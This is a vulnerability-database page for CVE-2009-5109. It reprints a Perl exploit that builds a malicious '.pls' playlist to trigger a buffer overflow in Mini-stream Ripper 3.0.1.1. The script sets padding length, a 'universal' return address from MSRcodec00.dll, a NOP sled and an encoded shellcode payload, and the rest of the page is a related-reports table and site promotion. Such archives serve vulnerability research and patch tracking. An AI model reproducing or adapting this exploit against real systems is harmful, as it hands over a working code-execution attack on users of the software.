Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2009-5109 | 27 Dec 200900:00 | – | circl | |
| CVE-2009-5109 | 25 Dec 201101:00 | – | cve | |
| CVE-2009-5109 | 25 Dec 201101:00 | – | cvelist | |
| Mini-stream Ripper 3.0.1.1 - '.pls' Universal Local Buffer Overflow | 27 Dec 200900:00 | – | exploitdb | |
| Mini-stream Ripper (Windows XP SP2/SP3) - Local Overflow | 27 Dec 200900:00 | – | exploitdb | |
| Mini-stream Ripper 3.0.1.1 - Local Buffer Overflow (Metasploit) (3) | 4 Nov 201100:00 | – | exploitdb | |
| Mini-Stream 3.0.1.1 Buffer Overflow | 4 Nov 201108:20 | – | metasploit | |
| Mini-STREAM RIPPER . pls buffer overflow vulnerability, CVE-2009-5109-a vulnerability warning-the black bar safety net | 19 Feb 201700:00 | – | myhack58 | |
| CVE-2009-5109 | 25 Dec 201101:55 | – | nvd | |
| Mini-Stream Ripper And RM-MP3 Converter '.pls' File Buffer Overflow Vulnerability | 3 Jan 201200:00 | – | openvas |
10
#Mini-Stream Ripper v3.0.1.1 Universal BOF !!!
#Discovered by ( mr_me) !!!
#Coded and Written by (Jacky)
#Greetz to Peter Van Eeckhoutte and all Corelanc0d3r team :D
#This time i exploited the program and i used as RET address a Universal one from MSRcodec00.dll
#And i haven't seen anyone using a universal address so i decided to do so ! ;-)
my $file="crash.pls";
print "Mini-Stream Ripper 3.0.1.1 Universal BOF vulnerability\n";
print "Greetz to Peter Van Eeckhoutte and Corelanc0d3r Team\n";
my $junk="A"x26074;
my $eip=pack('V',0x0146b87b); #>>>From MSRcodec001.dll (Universal address ;-) )
my $presc="SEXY"; # 4 Bytes to fill the pre-esp area !
my $esp="\x90"x25;
$esp=$esp."\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34".
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43".
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x30\x5a";
open(HOLA,">$file");
print HOLA $junk.$eip.$presc.$esp;
print "[+] Done!!!\n";
print "Written By Jacky\n";
close(HOLA);Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Dec 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.32817